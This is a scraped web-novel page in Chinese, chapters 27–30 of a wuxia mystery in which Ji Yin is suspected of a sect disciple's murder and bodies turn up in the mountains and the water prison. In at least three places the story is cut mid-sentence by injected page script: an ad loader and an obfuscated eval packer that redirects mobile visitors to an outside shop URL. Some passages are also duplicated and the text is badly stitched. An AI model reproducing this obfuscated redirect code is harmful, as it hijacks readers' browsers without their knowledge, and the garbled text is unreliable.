魏奚泽笑了笑,又望向季音:“也劳烦季音姑娘跑一趟,替徐福解了哑毒。” 季音挠了挠头,诚恳道:“我解不了。” 27. 八卦不断 这是实话——哑毒并非什么特制毒药,甚至黑市小贩处就能买到。但要解这毒,单是药方就有长长几页,虽都不是什么名贵药材,可熬煮起来十分麻烦,火候也极难掌握。所以一般中了这毒的人,都会选择放任不管,反正七日后也能恢复如常,就当是歇歇嗓子了。 魏奚泽虽不懂毒术,但像这种大路边上的江湖把戏,多少也听过一些:“少言少错。既如此,便让他歇上几日养养伤吧。” 他话音一转:“只是掷毒伤人这事......” 季音早已料到:“您尽管罚,我绝不推脱。” 她这话说得真心实意:毕竟无论怎么罚,她都会想办法逃了就是了。 魏奚泽见状,便也只罚她站上两日,小惩大诫。 赏也赏了,罚也罚了,付子修本想带季音吃顿好的,忘掉这些烦心事,不料饭馆还没定下,便被裴诀提着耳朵拉走了:“先处理伤口。” 付子修:“哎呀不用治,那句话怎么说的来着,伤疤是男人的勋章!” 裴诀:“......把眼泪擦干再说话。” 季音送走两人,又看了看彻底黑下来的天色,左右闲得无事,不如去那云天掌门的居所探上一探。 在她的印象里,像这种正派掌门级别的人物,那都得住在什么仙气飘飘的飞阁楼台内,殿前垒上高耸入云的石阶,院子里栽满奇花异草,门口再摆上几只仙鹤麒麟之类的彰显格调。 于是,在费尽千辛万苦爬上云天山巅后,季音看着眼前还不如茅厕大的小茅屋陷入了沉思。 不是......这个叫白清旭的是不是有什么自虐倾向? 给自己的弟子住环山抱水的独栋水榭,自己就住看起来一吹就倒的破茅草屋? 季音走了两步,半懵半疑地推开了屋门。 ...... 这还有什么好偷的,一眼望到头了好吗?! 看那破破烂烂的书架,又小又窄的木床,最离谱的是那张书桌,让季音见识到了什么叫真正的入木三分。 都破成这样了还不换,这得有多恋旧啊! 这就算是小偷来了也得留下二两救济银吧?! 不过破归破,屋里打扫的却是很干净,甚至连被褥都叠得整整齐齐,井井有条。 但是显然,这一行径精准踩中了季音的雷区——反正晚上睡觉还要拆开来盖,干嘛多此一举。 故而,即使还没见到白清旭,季音却已对他生出了一箩筐的吐槽。 搜完床榻,她又跑过去翻书架。 只是翻了没几本,季音便开始怀疑起自己的眼睛来。 “《骗钱心得》?《坑人语录》?《十天教会你妙手神偷》?《一本正人君子该看的书》?” ......这他妈都是些什么东西? 而且她明明从没看过这些书,但却有种诡异的熟悉感是怎么回事? 眼见屋内找不出什么有价值的东西,季音决定再去院子里搜上一搜。 去了才知道,为什么白清旭要带着这破茅屋霸占云天山巅了——风景好啊!峰顶之上,万籁俱寂,尤其是晚上,天若悬镜,星月点缀,看得季音竟生出自己是个武林高手的错觉。 “看来那个叫白清旭的......还是很有品的嘛!” 汲取了第一天的教训,接下来六天内,季音与付子修都恪守“踏踏实实办事,老老实实做人”的准则,能闭嘴就不说话,能说话就不动手,简直比栅栏里的绵羊还要乖巧。 尤其是季音,不知是不是她那掌门亲传弟子的头衔起了作用,总而言之,不过两顿饭的功夫,便结识了三四个玩得好的小姐妹。 几个女孩子凑在一起,吃饭八卦购物样样不落,甚至还要抢着给季音介绍长得帅的男弟子。 “哎呀,咱这的品相不行!听说人家末名派,个个宽肩窄腰,又帅又飒,特别是那个萧夙墨,之前我远远瞅过一眼,那两条腿比我命都长!超带感有没有!” “起开起开,一看你就不识货!那萧夙墨有什么好的,整天冷着张臭脸,跟别人欠他多少钱一样,吃点儿好的吧!听我的,找男人,还得去繻泯观!道袍美男,又白又乖,肯定别有一番风味!” “诶等等等等,咱这的怎么就不行啦?我瞧那个相府的付小公子就不错,阳光帅气,恣意活力,而且你们有没有注意,他眼角还有一颗泪痣呢!英气中不失俊美,人家算命的说了,我命里缺痣,就得找带痣的。” 有痣吗?季音表示,自己认识付子修这么久,竟从没注意到这一点。 “缺痣?我看你是缺智吧!付小公子?快得了吧,一看见他我就想起我弟,成天在家里上蹿下跳,闹腾得要命!我倒是觉得,那个叫裴诀的公子挺有意思。温润典雅,谦恭随和,就是瘦了点儿......不过这都不是问题!只要跟了我,保管给他喂得身强体壮!” 说罢,她看向季音:“对了,你跟他们熟,知不知道他俩到底喜欢啥样儿的?” 季音乐道:“我只知道,如果付子修敢勾搭小姑娘,裴诀一定会打断他的腿!” 一阵哄堂大笑。 “话说回来,季音,你刚来的时候,我们都以为你就是咱们掌门的未婚妻呢!” 季音差点被嘴里的茶水烫死。 “咳咳......啊?!我?!未婚妻?!” “是啊,你不知道?听说掌门多年来之所以游历世间各地,就是为了寻找他那失踪多年的未婚妻!” 季音纳闷:“可传言不是说他整日花天酒地,是个最爱寻花问柳的好色之徒吗?” 有人接道:“害,我师父说了,江湖上关于掌门的传言根本就不可信,因为那些全都是掌门自己传的!” 季音懵了:“......啊?他为什么要故意抹黑自己?” “听说是为了上紫宸那个......哦,对,混子榜!” 季音:“?” 她更懵了:“上了这榜......是有什么好处吗?” “知名度高呀!每次紫宸新出什么邸报,我们云天派永远都在头版!” “没错没错,据说末名派因为这事都快气疯了,为了上那头版,不知砸了几箱银子进去,可惜啊,没用!不过想想也是,身为紫宸国派,却只能被我们踩在下面,唉,也是可怜!” 季音:“......” 原来这些名门正派一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 天到晚就为这种事情勾心斗角?! 突然感觉冥麟阁未来可期是怎么回事? “所以......季音,你真的不是咱们掌门的未婚妻呀?” 季音脑袋摇得比拨浪鼓还快:“快别搞笑了,还未婚妻呢,我根本连他长什么模样都不知道!” 而且退一万步来讲,哪家姑娘能接受自己未来的丈夫在混子榜上? 想到这里,季音默默替白清旭的那位未婚妻默哀起来。 不知那倒霉姑娘是个什么性格,只能希望她别让自己太憋屈了。毕竟这事如果换作季音,估计早就一巴掌扇上去了——还不够丢人现眼的! 有人道:“长什么模样?嗯......听说长得蛮帅的,在话本子里能靠脸当主角呢!” 另有一人接道:“啊?不都说他其貌不扬,所以才躲着不肯见人吗?” “我听到的版本好像是他有什么隐疾?总而言之,跟正常人不太一样!” 季音想了想云天山巅的那栋小茅屋,又想了想刚才听说的混子榜。 ......有没有隐疾不知道,但脑子肯定是有点儿问题。 虽说是谈论八卦,却也能旁敲侧击到不少有用的消息。只是这么一来,少不得冷落了付子修。 于是某天练完剑术,付子修一脸不满地站在了季音面前:“女侠姐姐,你是不是忘了我跟裴兄了。” 季音看着他,突然想到了什么,拍了拍他的肩膀,嘿嘿一笑:“子修,你喜欢什么样的姑娘啊?” 她本以为付子修会一脸莫名其妙,或者惊恐呆滞,怎料她刚问完,这个小少年的脸唰一下就红了,一边挠头一边傻笑:“啊,哈哈,我......我没有啊。” 季音不由得回忆起上次这小子脸红时,好像还是谈论到天香榜第一美人的时候。 ......果然,天底下的男人都是一样的。 六日以来,魏奚泽每天都在等着这两人什么时候再被提到他面前,却不料一次都没等来,欣慰之际,却也有些疑惑:“他们二位......莫不是遇到什么难处了?” 裴诀则显得比较淡然:“......山雨欲来风满楼罢了。” 谁料第七日,意外真的发生了。 徐福死了。 他死的突然,听说是去水牢给苍璐念送饭的时候,被人用一根发丝绞了脑袋。 因中了哑毒,发不出半点儿声音,水牢门口看管的弟子才未能察觉。 付子修听后,怔了半天:“......凶手是谁?” 裴诀道:“不知。但若想以青丝取人性命,需要很强的内力。” 季音也没料到会有这种事情发生——徐福之死非她所为,哑毒也只是当时随手使出,但凶手却利用了这一点,而且利用的恰到好处,成功将怀疑的矛头引向了她。 虽说徐福平常不怎么讨喜,但大家总归是相处多年的同门师兄弟。至于季音,刚来没几天的新人,自然也建立不起多少信任。 于是,谣言如野火般迅速蔓延,不过半日,季音住的水榭便被围了个水泄不通。有让她出来解释的,有骂她杀人凶手的,甚至还有提剑要为徐福讨回公道的。 28. 碎尸残肢 虽说徐福平常不怎么讨喜,但大家总归是相处多年的同门师兄弟。至于季音,刚来没几天的新人,自然也建立不起多少信任。 于是,谣言如野火般迅速蔓延,不过半日,季音住的水榭便被围了个水泄不通。有让她出来解释的,有骂她杀人凶手的,甚至还有提剑要为徐福讨回公道的。 而对此,季音无话可说,甚至还想称赞云天派这些弟子同仇敌忾。 冥麟阁与云天派虽然没什么仇怨,但所谓正邪两立,无外乎此。死了个正派弟子,她既不会幸灾乐祸,亦不会悲伤难过,死了就死了,至于是谁死了,怎么死的,关她什么事? 她在意的,是凶手为什么要把脏水往她身上泼。 就像当初在东豫城时,把杨雯的死推到她身上一样。 可原因呢? 季音自诩从下山以来,既没招惹过谁,也没得罪过谁,而得罪过她的,仔细想来,好像也只有问天府和那个臭骗子了。 但以她对那臭骗子的了解,顶天也就耍耍人,骗骗钱,什么杀人放火,凭他的本事可干不出来。 ......莫非这云天派中竟藏着问天府的人?! “我早就说咱们掌门是被骗了!漂亮女人都会骗人,这话真是一点儿没错!” 显然,就算季音再怎么想探得真相,这些流言蜚语也已将她缚得严严实实,没留她任何出击的机会和余地。加之季音本就不是个能忍气吞声的人,听学也好,用膳也罢,那些无穷无尽的窃窃私语与偷偷打量,越发惹得她烦不胜烦。 终于,一个阴雨连绵的晌午,在某个弟子长达一刻钟的苛责与咒骂后,季音反手就卸了他两条胳膊。 于是季音杀害徐福的罪名瞬间坐得更实了。 而面对这些风言风语,季音没急,倒是把付子修急得不行:“徐福死的那天,女侠姐姐一直跟咱们在一起听学,她怎么可能是凶手!” 有人驳道:“说不定是晚上趁大家睡着了动的手呢!这么多弟子,就她自己一个人住,又跟徐福师兄结了仇,甚至还给他下了哑毒,难道不是她嫌疑最大?” 这时,和季音玩得好的几个女弟子出面道:“仵作验尸,说徐福死于戌时至子时,但这个时辰我们正在跟季音聊天,难道她有分身术不成?” “说......说不定她是用了什么其他手段!” 裴诀则道:“手段?她既能给徐福下毒,便有能力直接取了他的性命,何必如此大费周章?” 一番折腾后,虽说嫌疑没有彻底消除,但总归是少了许多。尤其是魏奚泽听闻此事,甚至亲自出面为季音担保,一来二去的,捕风捉影的传言便也渐渐淡了下去。 只是凶手一日未抓到,整个云天派就一日不得安宁。 而其中流传最多的一种说法,便是门内混入了魔教奸细。 “肯定是问天府干的!那个何洛闵杀了老掌门还不够,居然还敢挑衅我们,真是岂有此理!” “可他们为什么要杀徐福师兄?” “我倒觉得是隐邺盟。你想想,自从苍璐念被老掌门关在水牢以后,隐邺盟就一年不如一年,他们肯定是想把苍璐念救回去,重振昔日雄光!” “难道是徐福发现了他们的行踪,所以才被灭了口?” 众说纷纭,五花八门,却无既定之言。打从这天起,无论是听书还是练武,大家都是三五成群结伴而行,生怕下个丢了命的就是自己。 不过就算人人自危,也总有那么几个胆大的:“怕什么,哪有那么多魔教奸细!就徐福那张臭嘴,看他不爽的人多了去了,说不定就是存心报复,想那么复杂干嘛?” “就是!诶,听他们说后山最近总有鬼影出没,怎么样,哥几个探险去啊!” 于是,几个弟子拿好兵器,带好暗器,深夜时分潜入了云天后山。 一个时辰后,别说鬼影了,连个人影都没瞧见,其中一人便有些郁闷道:“害,啥也没有啊!” “估计又是哪个师叔师伯编出来吓唬咱们的,无聊!” “是啊,早知道就在屋里睡觉了。” 就在这时,突然有人喊道:“哎呦!” 众人都以为是鬼影出现了,忙道:“怎么了怎么了?!” “哈哈,没事,是我的钱袋掉了,你们先走,我再找找。” 阵阵失望的叹息声响起,又见确实天色已晚,夜深露重,便决定打道回府。 “哪有什么鬼影嘛,白兴奋一场。” “真要说起来,我倒觉得秦琴太师叔比鬼影可怕多了!” 就大家闲聊时,方才那名捡钱袋的弟子回来了,灰头土脸的,显然是找了很久。 “怎么样,找到了吗?” 那弟子就边笑边从身后掏出钱袋:“找到了!” 原本喧闹的屋子瞬间安静到了极点,所有人的目光都聚焦在他手中的挂饰上。 黑紫嶙峋的皮肉,垂着三根泛青的指头。 是半只人手。 第二日,魏奚泽便差人将后山围了起来。付子修不用多说,无论怎样也要跟去看看,还非得拉上裴诀和季音,理由是怕这两个人离开他会有危险。 “小爷我可是福星,任凭什么妖魔鬼怪,都别想靠近咱们半分!” 裴诀甩开他揽过来的胳膊:“......” 季音拍了拍他的肩膀:“没有妖魔鬼怪,只有抛尸凶手。” 付子修看着走远的两人,忙道:“诶,不是......我也能保护你们啊!” 待三人赶到后山时,周序正对着满满一筐子尸块发愁。其中不少已发烂流脓,恶臭满天,熏得三人连连后退。 此等场面绝对可称一句惊世骇俗,尤其是那无孔不入的尸臭,横冲鼻腔,令人窒息。季音忍了半天,终是忍不住,捂着嘴连连干呕,付子修就更夸张了,直接冲到旁边吐得昏天黑地。 这两人反应如此剧烈,倒显得裴诀很是淡定——眉不动眼不眨,从容接过了周序递来的面罩。 付子修哪里见过这些,吐干净了,喘了口气,半是嫌恶半是惊惧道:“这......这也太恶心了!” 季音也平复了心情,却只是呆愣愣地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958821|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹筐,半天没说一句话。 竹筐最上面是颗脑袋,虽已鲜血结痂,爬满蛆虫,但仍能勉强看出左边脸颊上的一大片伤痕。 不是别人,正是小吃街上贩卖青枣酥的那个小姑娘! 可她怎么会死在这里? 周序叹了口气:“近日不止咱们,整个灵州城都是人心惶惶。听说已有数十户人家遭了无妄之灾,万幸最后不少都为人所救,还不算过于惨烈。” 付子修道:“那凶手呢,抓到了吗?” 周序摇了摇头:“官府已加派人手调查,可涉案人数太多,范围也广,凶手几乎是无差别杀人,且每次行凶方式各有不同,或是拔舌,或是挖眼,再有就是......”他低头看了看竹筐:“解肢碎尸。” “所以到目前为止,官府甚至弄不清凶手的人数,更遑论捉拿归案了。” 季音疑惑:“可凶手为何要将这些尸块扔到云天后山?” 答话的是裴诀;“恐吓,示威,挑衅,总归是想引起我们的注意。” 周序道:“是啊,如今大家都寝食难安,却还要加强防守,下山巡查,日子也是难过。尤其是师父,已经两三天没有合眼了。” 付子修道:“对了师兄,你刚才说有很多人都被人救了?是什么人救了他们啊?” 周序道:“我也不太清楚。只是听闻不少没有伤亡的人家,都莫名在家中发现许多打斗痕迹。还有一些明明受伤昏迷,醒后却发现伤口竟已被包扎好了。” 裴诀眉梢微挑,看向了一旁的竹筐。 忙活半天,总算将后山排查了个干净。季音本想帮忙处理尸块,看看能不能趁此机会发现什么线索,可惜大部分弟子仍未打消对她的怀疑,躲她就跟老鼠躲猫一样,生怕季音一个不乐意就绞了他们的脑袋。 说实话,这委实有些高看她了——她哪有只用一根头发丝就能绞人脑袋的本事? 季音摊了摊手:也罢,多一事不如少一事。此事若当真是问天府的手笔,只怕很快就要轮到她了。既然如此,倒不如好好休息,保存体力。 另一边,付子修强忍着恶心帮周序烧完所有尸块,还没来得及喘口气,便被裴诀拉回了卧房。 付子修连灌了三杯水才缓过劲来:“不是,怎么了?你那么着急干嘛?” 裴诀道:“灵州城如今水深火热,我差人送你回去。” “啊?!我好不容易才逃出来,你居然要把我送回去?再说了,小爷我是怕事的人吗?有本事那些凶手就出来,来一个我打一个,来两个我打一双!” 裴诀见他一副铁了心的模样,叹了口气,便也不再多说什么。 此时此刻,灵州城所有人都是风声鹤唳,草木皆兵。晚上没人敢合眼,一家子轮流守夜。大人不睡,也不敢让孩子睡,或揍或打,困得不行的小孩儿哪里懂这些,此起彼伏的哭闹声不绝于耳,仿若人间炼狱。 这番光景,就算是季音他们这些会武功的,也没法安稳入睡。她翻了几十页话本,好不容易有了困意,正要吹灯,却突然听得一阵嘈杂的脚步声自水榭外响起。 29. 水牢惊魂 得了,看来今晚又睡不了了。 为了避免再被扣上什么凶手的屎盆子,季音决定出去混个脸熟,所以没敢耽搁,踢了鞋子就往外跑。 待她赶到时,所有弟子全都围在水牢前,正你一言我一语地说个不停。 瞧见来人,原本站位还算分散的众人瞬间聚在了一起,有的扭头看,有的抬眼瞥,鸦雀无声。 “......想看就大大方方的看,不然小心我绞了他的脑袋!” 诡异的寂静后,一道激昂的男声突然响起:“杀人凶手!滚出云天派!” 季音转身:“你说我是凶手?证据呢?” “......徐福师弟是因为你的哑毒才不能呼救的!你这女人当真毒如蛇蝎,居然连这一点都算到了!只是可怜了徐福师弟,就这么葬送在了你蓄意报复的手段里!” 季音笑道:“你既知道我是个毒如蛇蝎,蓄意报复的女人,却还要来招惹我?” 顿了一顿,她拖着下颌,故作恍然道:“哦,明白了,因为你嫉妒我。” 那人瞬间恼了:“你......你胡说八道什么?!我嫉妒你?!” 季音却仿若没有听见,只是摇着脑袋自顾自道:“唉,想想也是,毕竟我刚来云天派就成了你们掌门座下的亲传弟子,还得了你们掌门亲赠的极品兵器。可你呢,拜师三年仍只是个外门弟子,所以才会在搞不清因果缘由的状况下带头造谣,拼命展现自己那点可怜的存在感,是不是?” 她边说边走到那人身旁:“说啊,是不是啊,小肚鸡肠的红眼狗?” 那人看着季音,一双眸子几欲喷火,似乎下一瞬就要拔剑出手! 这厢季音也没好到哪去,若非此处云天派弟子太多,她手中的双刃已经捅出去了。 就在这时,付子修的声音打破了两人周遭剑拔弩张的氛围。 “女侠姐姐,说得好!”他边说边从人群中挤了出来,站到了季音身边:“师父说了,在没有证据证明凶手之前,每个人都是清白的!大家都是同门,最应该做的难道不是齐心协力找出真凶吗?怎能上来就互相指责,自相残杀呢?” 季音看着付子修——衣衫不整,头发凌乱,明显也是刚从床上爬起来,此时此刻却站在她面前,认认真真地分析利弊,她眨了眨眼睛,忍不住扬起了嘴角。 显然,天玑长老的名号比什么都管用。大家你看看我,我看看你,旋即默契地将话题转移到了今夜水牢之事上。 “女侠姐姐,你刚刚的样子真是帅呆了!” 季音笑道:“真的?” “当然了!不过你刚才说话时候的神情,我怎么感觉有点像......啊,对,钱惜公子!” 季音登时笑不出来了。 ......她会像那个臭骗子?!要不要这么惊悚?! 付子修见她一脸惊异的样子,赶紧点了点头:“真的,连语气都很像!” 季音:“......” 怎会如此?! 眼见付子修还要补充,季音立刻转了话题:“怎么不见裴诀?他没跟你一起来吗?” 付子修打了个哈欠:“来的时候就没看见他,估计去茅房了吧。” 季音点头:“大家都站在水牢门口干嘛,怎么不进去?” 付子修道:“进不去啊,门口莫名其妙多了道禁制,谁也破不了。要是周序师兄在就好了,他最擅长这东西。” “周序没在吗?” 换做平常,无论发生什么事情,他们这个大师兄向来都是第一个赶到的。周序脾气好,又沉稳,有他在,大家也不至于那么慌乱。 可今夜是怎么了? 季音心中顿时生出一阵强烈的不安感。 “闪开闪开,都闪开,天玑长老来了!” 魏奚泽一来,大家都好像吃了一记定心丸。随着禁制破除,众人不敢耽搁,相继进入了水牢。 在季音的印象中,水牢应是潮湿闷热,肮脏污浊之地。可出乎她的意料,云天派的水牢并非如此,甚至可以说非常干净,只是冷,透彻骨髓的冷意弥漫在整个牢房,让在场众人全都忍不住打了个寒噤。 付子修搓着手道:“奇怪了,这不就是普通的地牢吗,为什么叫水牢?” 季音指了指其中一间牢房:“水牢水牢,要命的不是牢,而是水。看见那池子了吗,里面不止是脏水,臭水,更多的是金血蛭与银线蛇等毒物。行刑后再将人丢入池中,等着你的就会是血流不止,伤口溃烂,皮肉黏连,发脓发臭,最后连具全尸都留不下。” 付子修表情扭曲:“那还是一刀砍了比较好,至少痛快。” 他看了看两边空空如也的房间,又道:“女侠姐姐,这里哪有犯人啊?” 犯人自然是有的,不过这偌大云天水牢,也只押了一个犯人。 六年前,徐君彦与苍璐念大战一场,苍璐念战败,自此便被关在了这暗无天日的水牢,受尽酷刑。直到四年前,徐君彦身死,白清旭接任掌门之位,不但撤去了所有刑罚,甚至还派弟子每日送上新鲜饭菜,说是囚禁,倒不如说是招待。 付子修不解:“他这是为什么......哎呦,什么东西?!” 他这么一叫,众人立刻警觉起来,季音更是一把扯过他,拔出三根流云飞针。 “这......这不是谢闻潇的佩剑吗?!” 大家赶紧去看,可不是,地上躺着的,正是谢闻潇那把巨剑! 就在这时,又听得有人喊:“周序师兄!你怎么了,周序师兄!” 魏奚泽神色顿变,三步并作两步冲了上去。季音见状,不敢耽搁,也连忙凑了过去。 鲜血淋漓的地面,赫然躺着周序与谢闻潇两人。不过不同的是,谢闻潇虽双眼紧闭,浑身伤口,胸口却仍在上下起伏,显然只是失血过多,昏了过去。 要紧的是周序。只见他嘴唇发青,一张脸早已没了半点血色,胸口黑红一片,浑身冰冷的像是要与这水牢融为一体。 付子修懵了:“这......白天还好好的.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968248|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” 季音也被这这一幕打了个措手不及,半天没缓过神来。 她望向周序的尸身,致命伤毫无疑问是胸口那个血淋淋的大洞,但是能留下这种伤痕的...... 季音转头,看向了谢闻潇的那柄巨剑。 所以......是谢闻潇杀了周序? 显然,不止她这么想,在场所有弟子都这么想: “怎么会,谢闻潇怎么会对周序动手?” “你是第一天才知道他俩看不对眼吗?” “那......那也不能下此狠手啊!” “你还不知道谢闻潇那脾气?仗着自己有点儿资质,看谁都不正眼看,谁说话也不搭理,拽的跟什么似的。也就是周序脾气好,不跟他计较,这要换了我,早就一个巴掌拍上去了!” “所以......谢闻潇就是凶手?难道徐福也是他杀的?” “嘶......你这么一说,我倒是想起来,这俩人前段时间还打过一架!想想也是,嘴欠的跟脸臭的,闹不起来才怪!” “不过同门之间的小打小闹罢了,至于如此记仇,甚至要了别人性命吗?!” “谢师兄不是这样的人!之前我下山遇到劫匪,还是谢师兄帮我赶跑的。再说了,如果谢师兄就是凶手,那后山的尸体怎么解释,灵州城那些命案又怎么解释,总不能都是谢师兄做的吧!” “说不定是他与魔教勾结,里应外合,狼狈为奸!” “就是!听说他之前还夸过何洛闵那个魔头天赋异禀,想常人所不能想,行常人所不能行。我看他根本就是问天府的走狗,给咱们找麻烦来了!” “胡说!谢师兄为人向来正直坦荡,怎会是魔教走狗?” “别吵了,吵也没用。反正谢闻潇又没死,把他弄醒审上一审不就得了?” 此话一出,所有人都不约而同地望向了魏奚泽。 座下两个弟子同时遇害,其中一个还很可能是罪魁祸首,光是想想就够令人头大了。但魏奚泽不愧是以冷静稳重著称的天玑长老,只见他沉默片刻,缓缓起身道:“负责看守水牢的弟子在哪里?” 人群中一个小弟子颤颤巍巍地举起了手。 魏奚泽点头:“跟我来。”说罢,他又招呼三个四弟子将周序与谢闻潇带了下去:“其余所有人,没有我的命令,不得再随意外出。” 付子修听后急道:“师傅,白日里我和女侠姐姐帮周序师兄处理了后山的尸体,说不定能帮上什么忙!” 魏奚泽看着面前的两人:“......你们也一起来吧。” 说实话,季音虽与谢闻潇接触不多,但直觉告诉她,这人充其量只是不合群,与其说是不屑表达,倒不如说是不会表达。毕竟像他这种“另类”,冥麟阁里没有十个也有八个,有本事的人,自然是会有点儿个性的。 真要说起来,每每逃课睡觉却仍能在考核中脱颖而出的季音,也算是别人眼中的一个另类。 而真正让她感到不对劲的,是周序。 30. 局中之局 季音吓了一跳,可没等她细瞧,那双眼睛便消失的无影无踪,仿若一切都是她的错觉。 若她记得不错,这间牢房内关押的正是那位隐邺盟盟主,苍璐念。 “女侠姐姐,你还愣着干嘛,快走啊!” 付子修显然并未发觉什么异常,边说边架起了浑身是血的谢闻潇。 季音望着周序的尸身,又看了看谢闻潇毫无血气的脸色,叹了口气,决定先来解决眼下之事。 说实话,季音虽与谢闻潇接触不多,但直觉告诉她,这人充其量只是不合群,与其说是不屑表达,倒不如说是不会表达。 毕竟像他这种“另类”,冥麟阁里没有十个也有八个——有本事的人,自然是会有点儿个性的。 比如每每逃课睡觉却仍能在考核中脱颖而出的季音,也算是别人眼中的一个另类。 而真正让她感到不对劲的,是周序。 周序此人,与魏奚泽倒是一个做派,却比他师父更讨人喜欢——说白了,就是跟他聊天你会非常舒服,完全不用担心自己哪句话会得罪他,就算真的说错了,他也会想办法替你补救,绝对不会让你尴尬。 再加上,他的那张脸实在太过普通,普通到就算是与别人吵架,也完全没有攻击性。 更别说自从认识周序以来,他一直都是一副拘谨和善的模样,季音就没见他生过气,发过火。 所以她实在想不通,谢闻潇究竟是怎样惹怒周序,甚至逼他大打出手的。 还是说,这一切其实另有隐情? 不过眼下情形,倒也没什么好担忧的。因为周序死了,死亡这东西,本身就代表着一种清白。 “每晚安排在水牢的看守弟子都是两人,为何今夜只有你一个?” 方才举手的小弟子跪在大殿,听得魏奚泽发问,忙道:“不不不,是两个人,是我跟师兄一起值的夜。” 付子修道:“那你师兄呢?” 小弟子道:“自从徐福师兄出事后,给苍璐念送饭的就变成了周序师兄。周序师兄体恤我们,每次都会给我们带宵夜吃。可今夜不知怎的,周序师兄进了水牢后就一直没出来,我和师兄担心他出什么意外,就赶紧冲了进去。” 季音问道:“然后呢?” 小弟子摇了摇头:“苍璐念仍被关的好好的,饭菜也被送到了,但我们转了好几圈,就是没找到周序师兄。” 魏奚泽眉头微蹙:“可否仔细找过?” “很仔细了!”小弟子肯定道:“我跟师兄分头行动,每间牢房、每处拐角都找了,真的半个人影都没有。” “我们出来以后,发现食盒不见了,就猜测周序师兄也许已经走了,便放下心来,没再深究。” “可谁能想到,大约一个时辰后,谢闻潇师兄来了。因为谢师兄平常从不来水牢,而且他脸色很差,手里还举着把巨剑,把我和师兄都吓了一跳。” 付子修惊道:“他不会对你们动手了吧?!” 小弟子连连摆手:“没有没有。谢师兄只说一直不见周序师兄回去,所以来找人。” 季音眉头微蹙:若这小弟子与谢闻潇都没有撒谎,那么周序就一定还在水牢! “因......因为谢师兄脾气比较古怪,师兄怕他有什么别的目的,不肯就这么放他进去,便说要去他们的住所看看,若周序师兄真的不在,他一定会喊人来一起找。” 季音道:“......谢闻潇同意了?” “嗯......可谁能想到,师兄一走,他就拉着我进了水牢,还说不用防他跟防贼一样,让我好好看着,替他做个见证,他真的......只是来找人。” 付子修急道:“那你看到了吗?是他杀了周序吗?” “没有......我刚进去没多久,就突然感觉后颈一凉,没了知觉。再醒过来的时候,看到的......”小弟子咽咽口水,指了指面前周序的尸体:“就是这样了。” “我......我当时实在太害怕了,腿都软了,站都站不起来,只希望能赶紧来人!可等大家都到了,水牢却莫名其妙多了道禁制,无论如何也进不去了......”说完,小弟子又重新低下了头。 魏奚泽沉思片刻,看向付子修:“子修,清理后山时,你们可否一直与周序在一起?” 付子修忙道:“没错,我还跟他抱怨来着,说这凶手杀人分尸,甚至连老人和小孩都不放过,简直猪狗不如!” 魏奚泽又问:“那你们是什么时辰离开的?” 付子修道:“离开?我怎么不记得......啊,对,想起来了,我没跟他一起走,我是被裴兄拉走的。” 季音突然就想到,真要说起来,裴诀也算是那类人——能接住你所有的话,并且更为洞若观火,更擅察言观色。 于是她道:“是有什么急事吗?” “啥啊,还不是裴兄大惊小怪!”付子修满不在乎道:“非说什么灵州城不安全,要找人给我送回府去,那我肯定不干啊,好说歹说才劝住他。” 季音了然。其实这也难怪,如今灵州城乱成一锅粥,谁都是活过今日盼明日,生怕哪天就两眼一闭长睡不起了。自从付栀年身故,付子修便成了左相府唯一一根独苗,若是他有个三长两短,别说裴诀,怕是整个云天派都没好日子过。 就在这时,门口弟子前来禀报:“魏长老,天璇长老来了。” 魏奚泽叹了口气:“时间也不早了,今夜辛苦你们三人,早些回去休息吧。” 周序身死,尚未经仵作验尸,于是被带去了冰室。至于谢闻潇,虽只是皮外伤,但不知为何,几碗汤药灌下去后,却完全没有要苏醒的迹象,甚至呼吸越来越轻,脉搏也越来越弱。魏奚泽虽心急,却也无奈,只得拜托大夫日夜照看,全力救治。 眼见重霄殿的大门关起,季音与付子修对视一眼,默契地拔腿就往墙角躲。 “女侠姐姐,想不到你也会干这种事!” “你还笑,要是让裴诀知道,准没你好果子吃。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997080|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嘿嘿,他这不是不在嘛!” 重霄殿内,李妙言一袭素衣,不怒自威。 女人确然是很奇怪的,看看李妙言就知道了——不过三十五六的年纪,又生得一副好皮囊,照理说正是极具魅力的时候。但她却整日不苟言笑,穿的活像披麻戴孝,明明是个江湖人,可不知情者见了定会认为她是哪个学堂中古板严苛的教书先生。 